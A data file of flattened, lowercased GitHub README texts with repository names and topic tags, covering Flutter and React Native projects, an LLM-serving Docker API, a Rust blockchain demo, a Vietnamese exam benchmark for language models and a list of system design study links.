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Dropdown-Toggle-Checkbox-Widgets | sort filter ui a new flutter project getting started this project is a starting point for a flutter application preview img src https user images githubusercontent com 46846821 115941626 94609b00 a4bf 11eb 8244 30f15dbb6c58 png alt screenshot 1619224721 width 300px img img src https user images githubusercontent com 46846821 115941628 962a5e80 a4bf 11eb 9ca8 fd8592765e43 png alt screenshot 1619224728 width 300px img a few resources to get you started if this is your first flutter project lab write your first flutter app https flutter dev docs get started codelab cookbook useful flutter samples https flutter dev docs cookbook for help getting started with flutter view our online documentation https flutter dev docs which offers tutorials samples guidance on mobile development and a full api reference | flutter flutter-app flutter-examples hacktoberfest | front_end |
solid-native | solid native solid native expands the solid https www solidjs com ecosystem to include development of native mobile applications solid native applies solid js as a layer over react native making available composable reactive primitives allowing for fine grained reactive programing this results in an approach to native development with the ergonomics and familiarity known and expected by solid developers combined with the addition of tooling and libraries from the react native ecosystem check out the demo app https github com tjjfvi solid native tree main examples goals to make native development using solid comparable to web development using solid to allow for solid native projects including new projects based on solid components that use can consume third party library react native components when needed new libraries based on solid components that want to be available to the react native audience existing react native projects that want to add and migrate to solid components existing react native libraries that want to add and migrate to solid components while remaining available to the react native audience installation 1 create a new react native project or check out an existing one 2 install solid native from npm using your package manager of choice 3 add solid native babel preset to the presets array in your babel config json 4 configure metro by adding cjs as a source extension see examples metro config js usage when you install solid native nothing will change at first and your app should continue to function as normal this is because by default jsx and tsx files will be processed as react to accommodate existing react native components to start using solid native create a new component file and add solid to the top for example tsx solid import text from react native export const hellosolid return text hello solid text the file will be processed as solid and the component can now be used in your app in both solid and react components writing components in solid native is much like writing components in standard solid but with primitive dom elements replaced with primitive react native elements for example here s solid s counter example https www solidjs com examples counter written in solid native tsx solid import text from react native import createsignal oncleanup from solid native export const countingcomponent const count setcount createsignal 0 const interval setinterval setcount c c 1 1000 oncleanup clearinterval interval return text count value is count text the only differences here are the solid at the top and the use of text instead of div interop between solid react solid native supports largely seamless interop between react components and solid components when you use a solid component in a react component solid native internally creates signals for tracking the react props and passes a reactive proxy object to the solid component when you use a react component in a solid component solid native effectively creates a memo for each prop and triggers a rerender on the react component whenever one of the memos updates it uses solid s children https www solidjs com docs latest api children function to create the memo for the children prop using react hooks in solid files generally you shouldn t need to do this most react hooks have solid analogs that should be used instead however if you must use a react hook e g to use a an established react context or a library such as react navigation then you can wrap your solid component with withhooks ts solid import as react from react import withhooks from solid native export const mycomponent withhooks hook props myprops like any other solid component this component will only be called once and will not rerender however the function passed to hook will be called every time the internal react component rerenders const context hook react usecontext mycontext context is now a reactive accessor to the value returned by usecontext the hook function can be called multiple times but it should only be called synchronously i e before the component returns limitations currently unsupported solid apis some solid apis are not currently supported context suspense errorboundary these are not necessarily fundamental limitations prs welcome calling solid components as regular functions because solid native supports interop between react components and solid components you cannot call top level solid components as regular functions doing so will instead call the react bridge component and have undesired effects instead instantiate components using jsx syntax calling regular functions as solid components because solid native supports interop between react components and solid components you cannot call non jsx returning functions as solid components doing so will instead invoke the function as a react component and have undesired effects instead either return jsx from the function or explicitly make the function a solid component by passing it to wrapsolidcomponent unsupported react features most components in react native libraries will work seamlessly in solid components with the exception of react components that attempt to introspect the children they are passed react components expecting nullary functions as children in both of these cases the best solution is to create a react component that wraps the problematic components to avoid the limitations future features prs are as always welcome supporting more solid apis see unsupported solid apis unsupported solid apis performance testing defaulting files to solid mode based on file location a note on naming this library is called solid native instead of solid react native because the core purpose of the library is the solid native part the use of react native is merely a means to that end if a viable library that accomplishes solid native without using react native is created i will be delighted to cede the name however since react native is backed by facebook and has been under ongoing development for 6 years i think it is pragmatic to base an effort towards solid native off of it | solidjs | front_end |
ML-AndrewNg | machine learning specialization by deeplearning ai stanford university the machine learning specialization https www coursera org specializations machine learning introduction is a foundational online program created in collaboration between deeplearning ai and stanford online in this beginner friendly program you will learn the fundamentals of machine learning and how to use these techniques to build real world ai applications this specialization is taught by andrew ng https www coursera org instructor andrewng an ai visionary who has led critical research at stanford university and groundbreaking work at google brain baidu and landing ai to advance the ai field this 3 course specialization is an updated and expanded version of andrew s pioneering machine learning course rated 4 9 out of 5 and taken by over 4 8 million learners since it launched in 2012 it provides a broad introduction to modern machine learning including supervised learning multiple linear regression logistic regression neural networks and decision trees unsupervised learning clustering dimensionality reduction recommender systems and some of the best practices used in silicon valley for artificial intelligence and machine learning innovation evaluating and tuning models taking a data centric approach to improving performance and more by the end of this specialization you will have mastered key concepts and gained the practical know how to quickly and powerfully apply machine learning to challenging real world problems if you re looking to break into ai or build a career in machine learning the new machine learning specialization is the best place to start course description c1 supervised machine learning regression and classification https github com marinavillaschi ml andrewng tree main c1 supervised 20ml regression 20and 20classification build machine learning models in python using popular machine learning libraries numpy and scikit learn build and train supervised machine learning models for prediction and binary classification tasks including linear regression and logistic regression c2 advanced learning algorithms https github com marinavillaschi ml andrewng tree main c2 advanced 20learning 20algorithms build and train a neural network with tensorflow to perform multi class classification apply best practices for machine learning development so that your models generalize to data and tasks in the real world build and use decision trees and tree ensemble methods including random forests and boosted trees c3 unsupervised learning recommenders reinforcement learning https github com marinavillaschi ml andrewng tree main c3 unsupervised 2c 20recommenders 20and 20reinforcement 20learning use unsupervised learning techniques for unsupervised learning including clustering and anomaly detection build recommender systems with a collaborative filtering approach and a content based deep learning method build a deep reinforcement learning model | andrew-ng-course anomaly-detection deeplearning-ai machine-learning recommender-system reinforcement-learning supervised-learning unsupervised-learning | ai |
Simplifying-Application-Development-with-Kotlin-Multiplatform-Mobile | simplifying application development with kotlin multiplatform mobile a href https www packtpub com product simplifying application development with kotlin multiplatform mobile 9781801812580 img src https static packt cdn com products 9781801812580 cover smaller alt simplifying application development with kotlin multiplatform mobile height 256px align right a this is the code repository for simplifying application development with kotlin multiplatform mobile https www packtpub com product simplifying application development with kotlin multiplatform mobile 9781801812580 published by packt write robust native applications for ios and android efficiently what is this book about sharing code between platforms can help developers gain a competitive edge and kotlin multiplatform mobile kmm offers a sensible way to do it kmm helps mobile teams share code between android and ios in a flexible way leaving room for native development this book covers the following exciting features get acquainted with the multiplatform approach and kmm s competitive edge understand how kotlin multiplatform works under the hood get up and running with the kotlin language quickly in the context of swift find out how to share code between android and ios explore tips and best practices in kmm to increase app development efficiency discover adoption tips to integrate kmm into existing or new production apps if you feel this book is for you get your copy https www amazon com simplifying application development kotlin multiplatform dp 1801812586 today instructions and navigations all of the code is organized into folders for example chapter05 the code will look like the following android compilesdkversion 30 sourcesets main manifest srcfile src androidmain androidmanifest xml defaultconfig minsdkversion 23 targetsdkversion 30 following is what you need for this book this book is for native android and ios developers who want to build high quality apps using an efficient development process knowledge of the framework and the languages used is necessary that is android with java or kotlin and ios with objective c or swift for swift developers the book assumes no knowledge of kotlin as this will be covered in the context of swift with the following software and hardware list you can run all code files present in the book chapter 1 10 software and hardware list chapter software hardware required os required 1 10 android studio artic fox windows mac os x and linux 1 10 android studio kmm plugin windows mac os x and linux we also provide a pdf file that has color images of the screenshots diagrams used in this book click here to download it https static packt cdn com downloads 9781801812580 colorimages pdf related products how to build android apps with kotlin packt https www packtpub com product how to build android apps with kotlin 9781838984113 amazon https www amazon com build android apps kotlin hands dp 1838984119 android ui development with jetpack compose packt https www packtpub com product android ui development with jetpack compose 9781801812160 amazon https www amazon com android development jetpack compose declarative dp 1801812160 dp 1801812160 ref mt other encoding utf8 me qid get to know the author r bert nagy is a senior android developer at octopus energy he is an android and kotlin developer with a bachelor of science in computer science he has designed developed and maintained multiple sophisticated android apps ranging from 100k downloads to 10m in the financial iot health social and energy industries some projects that he has been a part of include a social platform for kids a lightning system controller and bloom and wild download a free pdf i if you have already purchased a print or kindle version of this book you can get a drm free pdf version at no cost br simply click on the link to claim your free pdf i p align center a href https packt link free ebook 9781801812580 https packt link free ebook 9781801812580 a p | front_end |
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cis411_lab0_req | cis 411 lab 0 requirements this is the requirements lab for cis 411 systems analysis and design for messiah university http messiah edu this lab has three purposes 1 within systems analysis and design you are going to need to be able to document requirements in a digestible format for review and approval this lab is a practical writing exercise for developing that skill 2 in multi contributor environments you need to use some form of source control and versioning many developers use git https git scm com and github https github com to coordinate their individual contributions into a single code base this lab will introduce you to forking a repository making your own changes and then contributing back to the source as a pull request 3 describing your work online usually takes the form of a markdown document e g readme md this lab will help you write and format your document up to professional standards doing the lab 1 pre requisites 1 github account 2 git is installed on your development machine 3 text editor or other integrated development environment ide for modifying code if you need help or recommendations see the lab instructions lab instructions md 2 lab description dennis wixom and roth 2014 outline a framework for classifying requirements that are roughly organized by the type of stakeholder that owns the request 1 business the business objective that the system needs to satisfy 2 user the actions that a user takes within the system 3 functional the functions should the system perform 4 non functional the characteristics that the system should have 5 system specifications about how the system should be built for this lab you are to write a requirements document for an application based on the following business need i would like to order a meal from an on campus provider and have it delivered to my classroom to complete the assignment successfully you will need to interview several real and a few fictional stakeholders and or documents identify them as sources in your document the requirements document needs to be detailed enough that each requirement statement has a unique identifier and the originating source just in case you need to ask clarifying questions or ask them to validate acceptance criteria later on you may want to distinguish between requirements through classifications tags or through your use of verbs requirements use shall must or will feature enhancement requests use words like should or may remember that the key is clear communication so you have some flexibility within the lab report template labreports lab template md 3 submissions you are expected to create a lab report as a markdown file under the labreports directory using the lab github handle md naming convention in your forked repository after you have reviewed your work then you should submit a pull request to this repository with your lab report and any accompanying images files e g required diagrams add the pull request url into the courseroom lms canvas for grading resources lab specific help since this may be your first github experience or writing requirements we have some additional resources for you detailed instructions lab instructions md lab template labreports lab template md lessons learned lessonslearned md git github github introduction https guides github com activities hello world github documentation https docs github com en github managing your work on github git cli https git scm com docs understanding markdown syntax markdown guide https www markdownguide org github flavored markdown https github github com gfm table to markdown tool https tabletomarkdown com convert spreadsheet to markdown license this content is provided under the mit license license credits special thanks to joel worrall aka tangollama https github com tangollama for co developing this course | os |
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fsa-design-system | fsa design system design system site for usda farm production and conservation products this digital resouce is made available across the department and to other federal agencies it supports the requirements of omb memorandum m 16 21 federal source code policy achieving efficiency transparency and innovation through reusable and open source software this policy requires agencies to develop plans to release at least 20 percent of new custom developed source code as open source software oss when commissioning new custom software | design-system style-guide usda farm-service-agency css-framework government ux fsa fpac farm-production-and-conservation | os |
photo_sharing_sql_database | instagram clone reverse engineering the sql database setup for an instagram esque photo sharing app diagram shows tables columns and foreign key relationships img width 1012 alt screenshot 2023 02 07 at 7 57 28 pm src https user images githubusercontent com 89615964 217418120 b7b04340 f577 470b 86f9 b79c12959f51 png | server |
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llm-api | llm api this application can be used to run llms large language models in docker containers it s built in a generic way so that it can be reused for multiple types of models the main motivation to start this project was to be able to use different llms running on a local machine or a remote server with langchain https github com hwchase17 langchain using langchain llm api https github com 1b5d langchain llm api contribution for supporting more models is welcomed roadmap x write an implementation for alpaca x write an implementation for llama x write an implementation for vicuna https github com lm sys fastchat x support gptq for llama x huggingface pipeline x llama 2 lora support support openai support rwkv lm usage in order to run this api on a local machine a running docker engine is needed run using docker create a config yaml file with the configs described below and then run docker run v pwd models models rw v pwd config yaml llm api config yaml ro p 8000 8000 ulimit memlock 16000000000 1b5d llm api or use the docker compose yaml in this repo and run using compose docker compose up when running for the first time the app will download the model from huggingface based on the configurations in setup params and name the local model file accordingly on later runs it looks up the same local file and loads it into memory config to configure the application edit config yaml which is mounted into the docker container the config file looks like this models dir models dir inside the container model family llama setup params key value model params key value setup params and model params are model specific see below for model specific configs you can override any of the above mentioned configs using environment vars prefixed with llm api for example llm api models dir models endpoints in general all llms will have a generalized set of endpoints post generate prompt what is the capital of france params post agenerate prompt what is the capital of france params post embeddings text what is the capital of france huggingface transformers generally models for which can be inferenced using transformer s autoconfig automodelforcausallm and autotokenizer can run using the model family huggingface config the following is an example runs one of the mpt models models dir models model family huggingface setup params repo id repo id tokenizer repo id repo id trust remote code true config params init device cuda 0 attn config attn impl triton model params device map cuda 0 trust remote code true torch dtype torch bfloat16 note that you can pass configuration attributes in config params in order to configure autoconfig with additional attributes configurations in model params are directly passed into the automodelforcausallm from pretrained and autotokenizer from pretrained initialization calls the following is an example with some parameters passed to the generate or agenerate endpoints but you can pass any argments which is accepted by transformer s generationconfig https huggingface co docs transformers main en main classes text generation transformers generationconfig post generate curl location localhost 8000 generate header content type application json data prompt what is the capital of paris params max length 25 max new tokens 25 do sample true top k 40 top p 0 95 to be able to accelerate inference using gpu the 1b5d llm api x x x gpu image can be used for this purpose when running the docker image using compose a dedicate compose file can be used docker compose f docker compose gpu yaml up note currenty only linux amd64 architecture is supported for gpu images llama on cpu using llama cpp you can configure the model usage in a local config yaml file the configs here is an example models dir models model family llama setup params repo id user repo id filename ggml model q4 0 bin model params n ctx 512 n parts 1 n gpu layers 0 seed 1 use mmap true n threads 8 n batch 2048 last n tokens size 64 lora base null lora path null low vram false tensor split null rope freq base 10000 0 rope freq scale 1 0 verbose true fill repo id and filename to a huggingface repo where a model is hosted and let the application download it for you convert refers to https github com ggerganov llama cpp blob master convert unversioned ggml to ggml py set this to true when you need to use an older model which needs to be converted migrate refers to https github com ggerganov llama cpp blob master migrate ggml 2023 03 30 pr613 py set this to true when you need to apply this script to an older model which needs to be migrated the following example shows the different params you can sent to llama generate and agenerate endpoints post generate curl location localhost 8000 generate header content type application json data prompt what is the capital of paris params suffix null or string max tokens 128 temperature 0 8 top p 0 95 logprobs null or integer echo false stop q frequency penalty 0 0 presence penalty 0 0 repeat penalty 1 1 top k 40 llama alpaca on gpu using gptq for llama note according to nvidia docker https github com nvidia nvidia docker you might want to install the nvidia driver https docs nvidia com datacenter tesla tesla installation notes index html on your host machine verify that your nvidia environment is properly by running this docker run rm gpus all nvidia cuda 11 7 1 base ubuntu20 04 nvidia smi you should see a table showing you the current nvidia driver version and some other info nvidia smi 530 30 02 driver version 530 30 02 cuda version 11 7 no running processes found you can run the llama model using gptq for llama 4 bit quantization you can use a docker image specially built for that purpose 1b5d llm api x x x gpu instead of the default image a separate docker compose file is also available to run this mode docker compose f docker compose gpu yaml up or by directly running the container docker run gpus all v pwd models models rw v pwd config yaml llm api config yaml ro p 8000 8000 1b5d llm api x x x gpu note llm api x x x gptq llama cuda and llm api x x x gptq llama triton images have been deprecated please switch to the 1b5d llm api x x x gpu image when gpu support is required example config file models dir models model family gptq llama setup params repo id user repo id filename model safetensors or model pt model params group size 128 wbits 4 cuda visible devices 0 device cuda 0 example request post generate curl location localhost 8000 generate header content type application json data prompt what is the capital of paris params temp 0 8 top p 0 95 min length 10 max length 50 this app was tested with the following models llama and models based on it alpaca vicuna koala etc using the ggml format llama and models based on it alpaca vicuna koala etc using the gptq format 4bit 128g popular models on huggingface mpt gpt2 falcon using pt format llama 2 using ggml and gptq formats credits llama cpp https github com ggerganov llama cpp for making it possible to run llama models on cpu llama cpp python https github com abetlen llama cpp python for the python bindings lib for llama cpp gptq for llama https github com qwopqwop200 gptq for llama for providing a gptq implementation for llama based models | chatgpt gptq huggingface langchain llama llamacpp llm llm-inference machine-learning python | ai |
blockchain-rust | blockchain rust rust bitcoin actions status https github com yunwei37 blockchain demo workflows ci badge svg https github com yunwei37 blockchain demo actions license https img shields io badge license mit blue svg license reimplement blockchain go in rust and not only blockchain go a simple blockchain demo for learning the code for each article 1 part1 basic prototype commit bd0efe7 https github com yunwei37 blockchain rust tree bd0efe7f4105a3daafd9311d3dd643482b63cb84 2 part2 proof of work commit 9d9370a https github com yunwei37 blockchain rust tree 9d9370aa22af34244659034918f2aad4a2cb96d2 3 part3 persistence and cli commit e2094c0 https github com yunwei37 blockchain rust tree e2094c0ef94fadc4e01030312a1ad890ec633d6f 4 part4 transactions 1 1 commit bdbdcec https github com yunwei37 blockchain rust tree bdbdcec8b79d5ff701d207f67a1b68849a35d865 5 part5 addresses commit 440cba2 https github com yunwei37 blockchain rust tree 440cba230cbd81957c3285b21c705a5708ed2b5b 6 part6 transactions 2 2 commit 4912743 https github com yunwei37 blockchain rust tree 4912743daa2699cb8c0c4ba5bf136534b272cecd 7 part7 network master chinese documents part1 md document part1 md usage create wallet sh cargo run createwallet create blockchain cargo run createblockchain address send coins if m is specified the block will be mined immediately in the same node cargo run send from to amount m start server cargo run startnode port or start miner node cargo run startminer port address get balance cargo run getbalance address you can use the rust log info to print the log reference blockchain go code https github com jeiwan blockchain go https github com jeiwan blockchain go build a cryptocurrency blockchain in rust https github com geeklaunch blockchain rust https github com geeklaunch blockchain rust https liuchengxu gitbook io blockchain https liuchengxu gitbook io blockchain | rust blockchain blockchain-wallet blockchain-network blockchain-demo reimplement-blockchain | blockchain |
php-computer-vision | php computer vision work in progress php computer vision library to do the issues page from this repository is being used for to do management just search for the to do tag credits gabrielrcouto http www twitter com gabrielrcouto license mit license http gabrielrcouto mit license org | ai |
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VNHSGE | div align center title vnhsge vietnamese high school graduation examination dataset for large language models div vnhsge is a dataset for large language models collected from the vietnamese national high school graduation examination and similar exams evaluate large language models in multitasks such as question answering text generation reading comprehension visual question answering and more cover nine subjects including 300 essays on literature and 19 000 multiple choice questions on other subjects including mathematics physics chemistry biology english history geography and civic education contain both text and images support vietnamese and english languages arxiv https img shields io badge cs lg arxiv 2305 12199 b31b1b svg https arxiv org abs 2305 12199 pwc https img shields io badge paperwithcode vnhsge dataset b31bb svg https paperswithcode com dataset vnhsge vnhsge dataset and other datasets the performance of chatgpt and bingchat on the vnhsge dataset is compared to other datasets in the gpt 4 report https openai com research gpt 4 alt text https github com xdao85 vnhsge blob main figures vnhsge other dataset png raw true latest news full dataset will be uploaded soon 7 20 2023 full vnhsge geography dataset was uploaded 200 200 1600 questions for eval test train sets 7 19 2023 full vnhsge civic education dataset was uploaded 200 200 1600 questions for eval test train sets 7 19 2023 full vnhsge history dataset was uploaded 200 200 1600 questions for eval test train sets 5 31 2023 eval test was uploaded 30 essays on literature and 1700 multiple choice questions on other subjects we will update evaluation set including 30 essay on literature and 1700 multiple choice questions one other subjects 5 30 2023 setup dataset structure vnhsge dataset covers nice subjects including 300 essays on literature and 19 000 multiple choice questions on other subjects subject type number of questions per exam number of exams question total mathematics multiple choice 50 50 2500 literature essay 6 50 300 english multiple choice 50 50 2500 physics multiple choice 40 50 2000 chemistry multiple choice 40 50 2000 biology multiple choice 40 50 2000 history multiple choice 40 50 2000 geography multiple choice 40 50 2000 civic education multiple choice 40 50 2000 dataset folder vnhsge vnhsge v vietnamese versions json format json folder eval eval set mathematics vnhsge mathematics dataset met math ie 2023 json json file met math ie 2023 image folder civic education vnhsge civic education dataset test test set train train set word format word folder eval mathematics vnhsge mathematics dataset met math ie 2023 docx word file civic education vnhsge civic education dataset vnhsge e english versions word format id iq q c ia e 1 the volume of a cube with edge 2a is a 8a 3 b 2a 3 c a 3 d 6a 3 a the volume of a cube with edge 2a is v 2a 3 8a 3 id refers to the id of the question iq refers to the images of the question q refers to the question content c refers to the choice options ie refers to the images of the explanation and e refers to the explanation content json format id 1 iq q 1 the volume of a cube with edge 2a is na 8a 3 t nb 2a 3 t nc a 3 t nd 6a 3 c a ia e the volume of a cube with edge 2a is v 2a 3 8a 3 llms performance chatgpt and bing ai chat performances response json format id 1 iq q 1 the volume of a cube with edge 2a is na 8a 3 t nb 2a 3 t nc a 3 t nd 6a 3 c a ia e the volume of a cube with edge 2a is v 2a 3 8a 3 cc a ce the formula for the volume of a cube is v s 3 where s is the length of one of its sides therefore the volume of the cube with a side length of 2a is v 2a 3 8a 3 performance we evaluated the performance of chatgpt and bingchat on the vnhsge dataset math chatgpt math bingchat lit chatgpt lit bingchat eng chatgpt eng bingchat phy chatgpt phy bingchat che chatgpt che bingchat bio chatgpt bio bingchat his chatgpt his bingchat geo chatgpt geo bingchat civ chatgpt civ bingchat 2019 52 56 75 52 75 76 92 60 55 40 55 60 67 5 42 5 82 5 50 75 60 75 2020 66 56 68 9 51 25 86 96 62 5 67 5 42 5 57 5 60 72 5 47 5 85 52 5 70 70 87 5 2021 60 66 75 60 25 76 86 60 67 5 62 5 50 52 5 67 5 55 90 75 82 5 62 5 92 5 2022 62 60 56 3 70 80 94 65 67 5 47 5 47 5 57 5 72 5 60 92 5 62 5 85 82 5 90 2023 54 62 64 8 49 75 78 94 57 5 72 5 47 5 52 5 60 65 77 5 92 5 67 5 85 77 5 82 5 avg 58 8 60 68 56 8 79 2 92 4 61 66 48 52 8 58 69 56 5 88 5 61 5 79 5 70 5 85 5 for complex calculation and reasoning subjects like mathematics physics chemistry and biology chatgpt and bingchat have performance ranges from 48 to 69 however for subjects that rely more on language skills such as literature english history geography and civic education their performances range from 56 5 to 92 4 alt text https github com xdao85 vnhsge blob main figures performance png raw true comparison of performances among chatgpt bingchat and vietnamese students in score spectrum our objective is to assess whether llms have capabilities comparable to human level performance despite the challenges posed by different settings through this comparison we can evaluate the potential of llms as effective learning support tools for students across various subject areas alt text https github com xdao85 vnhsge blob main figures vietnamese student score spectrum png raw true mathematics score spectrum of vietnamese students in 2021 citation citation if you find this work useful for your research please feel free to use them don t forget to cite our paper bibtex article xuan2023vnhsge title vnhsge vietnamese high school graduation examination dataset for large language models author xuan quy dao and ngoc bich le and the duy vo and xuan dung phan and bac bien ngo and van tien nguyen and thi my thanh nguyen and hong phuoc nguyen journal arxiv preprint arxiv 2305 12199 year 2023 article dao2023can title can chatgpt pass the vietnamese national high school graduation examination author xuan quy dao and ngoc bich le and xuan dung phan and bac bien ngo journal arxiv preprint arxiv 2306 09170 year 2023 article dao2023chatgpt title chatgpt is good but bing chat is better for vietnamese students author xuan quy dao and ngoc bich le and xuan dung phan and bac bien ngo journal arxiv preprint arxiv 2307 08272 year 2023 | ai |
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sprinkles | sprinkles a minimalist zero programming web framework https sprinkles tobiasdammers nl https github com tdammers sprinkles what it does sprinkles enables you to build html front ends to diverse data sources without any programming you write a yaml configuration file that defines urls and data sources a set of templates that say how to turn data into html some static assets sprinkles then turns that into a fully functioning dynamic website or bakes it into a static site supported data sources local files http s sql databases mysql sqlite postgresql subprocesses supported data fomats json yaml markdown restructuredtext textile latex wikicreole html plain text docx typical use cases as a presentation layer for a headless cms sprinkles can load data from a json api feed it directly to your templates and serve those on the fly as a poor man s cms pulling data from a set of local files sprinkles supports a wide range of data formats including json yaml markdown restructuredtext docx html and several more as a static site generator develop your website locally rendering it dynamically until you are happy with it then bake it into a static website ready to upload to a web server installing binary install x64 linux this is the preferred way of installing sprinkles 1 install the system dependencies at the time of writing those are libfcgi for fcgi support libgmp for haskell s bignum type libcurl for http backends libpcre for pcre regex support libpq5 for the postgresql backend libmysqlclient for mysql support libssl for tls support the exact names of the packages that you need to install for your os may vary so unfortunately we cannot provide a definitive list here 2 get the binary release tarball from https github com tdammers sprinkles releases latest both zip file and tarball are available both contain the same files 3 unzip or untar 4 copy the sprinkles binary in sprinkles bin sprinkles to somewhere on your path the suggested location for single user deployments is local bin sprinkles or bin sprinkles for system wide installation as root usr local bin sprinkles 5 cd to the countryinfo example project and start a sprinkles server cd examples countryinfo sprinkles serve 5000 6 point your browser at http localhost 5000 from source 1 install development versions of the system dependencies at the time of writing those are libfcgi for fcgi support libgmp for haskell s bignum type libcurl for http backends libpcre for pcre regex support libpq5 for the postgresql backend libmysqlclient for mysql support libssl for tls support for the http backend the exact names of the packages that you need to install for your os may vary so unfortunately we cannot provide a definitive list here on debian like systems the package names tend to end in dev though 2 clone the sprinkles repository git clone https github com tdammers sprinkles git 3 go to the project directory cd sprinkles 4 build and install the sprinkles binary for your user using cabal https www haskell org cabal cabal v2 install using stack https haskellstack org stack install 5 cd to the countryinfo example project and start a sprinkles server cd examples countryinfo sprinkles serve 5000 6 point your browser at http localhost 5000 further reading sprinkles website https sprinkles tobiasdammers nl getting started https sprinkles tobiasdammers nl doc guide getting started user guide https sprinkles tobiasdammers nl doc guide | front_end |
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lda | lda embedded system design for linear discriminant analysis application | os |
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ECE_5721 | ece 5721 embedded systems design oakland university fall 2022 initial commit test | os |
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melsicon.de | melsicon nuxt nuxt version of melsicon de build setup bash install dependencies yarn install serve with hot reload at localhost 3000 yarn run dev build for production and launch server yarn run build yarn start generate static project yarn run generate for detailed explanation on how things work checkout nuxt js docs https nuxtjs org | devops java cloud-engineering vuejs agile | cloud |
Design-and-Development-of-Embedded-Systems | design and development of embedded systems the assignments for dit 165 v17 design and development of embedded systems course gothenburg university pdf file of the assignments https drive google com open id 0b4ap5pig0ciasm10s3fqlvdkowc click to open | os |
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LPC1768-FreeRTOS-SIM900 | cortex http cortex http | os |
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pi-databases_softwareEngineering | project databases software engineering what i learned daily stand ups project management scrum master sprint planning retrospective reviews tools used c css figma create the mock ups html javascript lucid create the uml diagrams microsoft sql server net api reactjs how to run 1 for the api backend open the solution from the backend folder in visual studio 2 for the frontend navigate with the terminal to the folder frontend and then first do npm install and then npm run dev notes in the folder screenshots we can find a lot of screenshots of all the views of the project so you can see the project our app was smart enoguht to detect if the user accessing the system was an employee or an employer and based on that made a conditional redering database diagrams sprint2 database er diagrams png sprint2 database tables diagrams png meaning of usertype values 0 active employer br 1 active employee br 2 inactive employer br 3 inactive employee meaning of contracttype values 0 full time employee br 1 half time employee br 2 hourly employee br 3 professional services meaning of hoursapprovalstatus values 0 pending approval br 1 approved br 2 denied | server |
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android | android untuk development mobile app android | front_end |
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system-design-resources | system design resources for interview preparation motivation why i am making this repository diff as a beginner i wanted to learn how to design large scale distributed systems prepare for the system design interview as you might know that we need to have good understanding of various computer science fundamentals involving distributed systems computer network operating system along with good problem solving skills data structures and algorithms for acing the interviews at top product based companies let s first learn basic concepts for designing higly scalable data intensive applications caching brief explanation https weifoo gitbooks io systemdesign content chapter1 caching html gitbooks educative post https www educative io courses grokking the system design interview 3j6nnjrpp5p medium article https medium com system designing interviews system design chapter 4 caching b59a4cf83f10 data partitioning brief explanation https weifoo gitbooks io systemdesign content chapter1 sharding or data partitioning html gitbooks educative post https www educative io courses grokking the system design interview men8ljxv1la sciencedirect post https www sciencedirect com topics computer science data partitioning sharding medium article https medium com system designing interviews system design chapter 2 sharding 484960c18f6 understanding database sharding https www digitalocean com community tutorials understanding database sharding digital ocean load balancing brief explanation https weifoo gitbooks io systemdesign content chapter1 load balancing html gitbooks educative post https www educative io courses grokking the system design interview 3jewl04bl7q medium article https medium com system designing interviews system design chapter 3 load balancing e1c89148e37 indexes brief explanation https weifoo gitbooks io systemdesign content chapter1 indexes html gitbooks proxies brief explanation https weifoo gitbooks io systemdesign content chapter1 proxies html gitbooks queues brief explanation https weifoo gitbooks io systemdesign content chapter1 queues html gitbooks redundancy and replication brief explanation https weifoo gitbooks io systemdesign content chapter1 redundancy and replication html gitbooks educative post https www educative io courses grokking the system design interview xv1qvj6pkkj medium post https medium com baseds redundancy and replication duplicating in a distributed system 7ab4322d7378 text both 20of 20them 20involve 20creating all 20of 20its 20other 20copies sql vs nosql brief explanation https weifoo gitbooks io systemdesign content chapter1 sql vs nosql html gitbooks cap theorem brief explanation https weifoo gitbooks io systemdesign content chapter1 cap theorem html gitbooks educative post https www educative io courses grokking the system design interview rmkqx1egxqz cap theorem revisited https robertgreiner com cap theorem revisited consistent hashing brief explanation https weifoo gitbooks io systemdesign content chapter1 consistent hashing html gitbooks educative post https www educative io courses grokking the system design interview b81vnyp0gpy a guide to consistent hashing https www toptal com big data consistent hashing text consistent 20hashing 20is 20a 20distributed without 20affecting 20the 20overall 20system detailed explanation https www acodersjourney com system design interview consistent hashing system design interview questions concepts you should know https www freecodecamp org news systems design for interviews design questions 1 designing tiny url educative io post https www educative io courses grokking the system design interview m2ygv4e81ar geek for geeks https www geeksforgeeks org how to design a tiny url or url shortener post medium https medium com better programming how would you design tinyurl and instagram 987dfc06cbe9 tiny url and instagram design leetcode https leetcode com discuss interview question 124658 design a url shortener tinyurl system discussion detailed blog https nlogn in designing a realtime scalable url shortening service like tiny url by nlogn youtube video explanation https www youtube com watch v jqdhz72oa3c list plkqkby7jnjuc99vdjcpqdww 4at3qhdjv index 21 2 designing instagram educative io post https www educative io courses grokking the system design interview m2ydvznq8lg instagram architecture http highscalability com blog 2011 12 6 instagram architecture 14 million users terabytes of photos html 3 designing twitter educative io post https www educative io courses grokking the system design interview m2g48x18ndo gitbooks post https weifoo gitbooks io systemdesign content system design examples twitter html youtube video explanation https www youtube com watch v wyk0xpp p 8 list plkqkby7jnjuc99vdjcpqdww 4at3qhdjv index 19 4 designing dropbox educative io https www educative io courses grokking the system design interview m22gymjp4mg gitbooks post https weifoo gitbooks io systemdesign content system design examples dropbox html youtube video explanation https www youtube com watch v u0xtu6e2ct8 list plkqkby7jnjuc99vdjcpqdww 4at3qhdjv index 14 5 designing youtube or netflix educative io post https www educative io courses grokking the system design interview xv26vjz7yml youtube video explanation https www youtube com watch v psqzyffsugu list plkqkby7jnjuc99vdjcpqdww 4at3qhdjv index 20 6 designing a parking lot educative io post https www educative io courses grokking the object oriented design interview gxm3grxmr8z youtube video explanation https www youtube com watch v tvryb4hahgw 7 designing whatsapp chat messaging system gaurav sen explanation on youtube https www youtube com watch v vvhc64hqzmk youtube video explanation https www youtube com watch v ovnrsh6g6vw 8 designing facebook messenger medium article https medium com eileen code4fun design facebook messenger 438d76639985 blogs high scalability http highscalability com the complete guide to system design in 2022 by educative io https www educative io blog complete guide to system design medium https medium com system design blog system design concepts how web works https github com vasanthk how web works hired in tech https www hiredintech com courses system design system design for tech interviews 101 design patterns tips for developers https sourcemaking com design patterns and tips introduction to distributed system design https www hpcs cs tsukuba ac jp tatebe lecture h23 dsys dsd tutorial html google code university hackernoon https hackernoon com anatomy of a system design interview 4cb57d75a53f anatomy of a system design interview how not to design netflix in your 45 minute system design interview https hackernoon com how not to design netflix in your 45 minute system design interview 64953391a054 what powers instagram hundreds of instances dozens of technologies https instagram engineering com what powers instagram hundreds of instances dozens of technologies adf2e22da2ad how to develop chat system design like facebook messenger whatsapp https www cronj com blog how to develop chat system design like facebook messenger 8 steps to acing your next system design interview https www hackerearth com blog 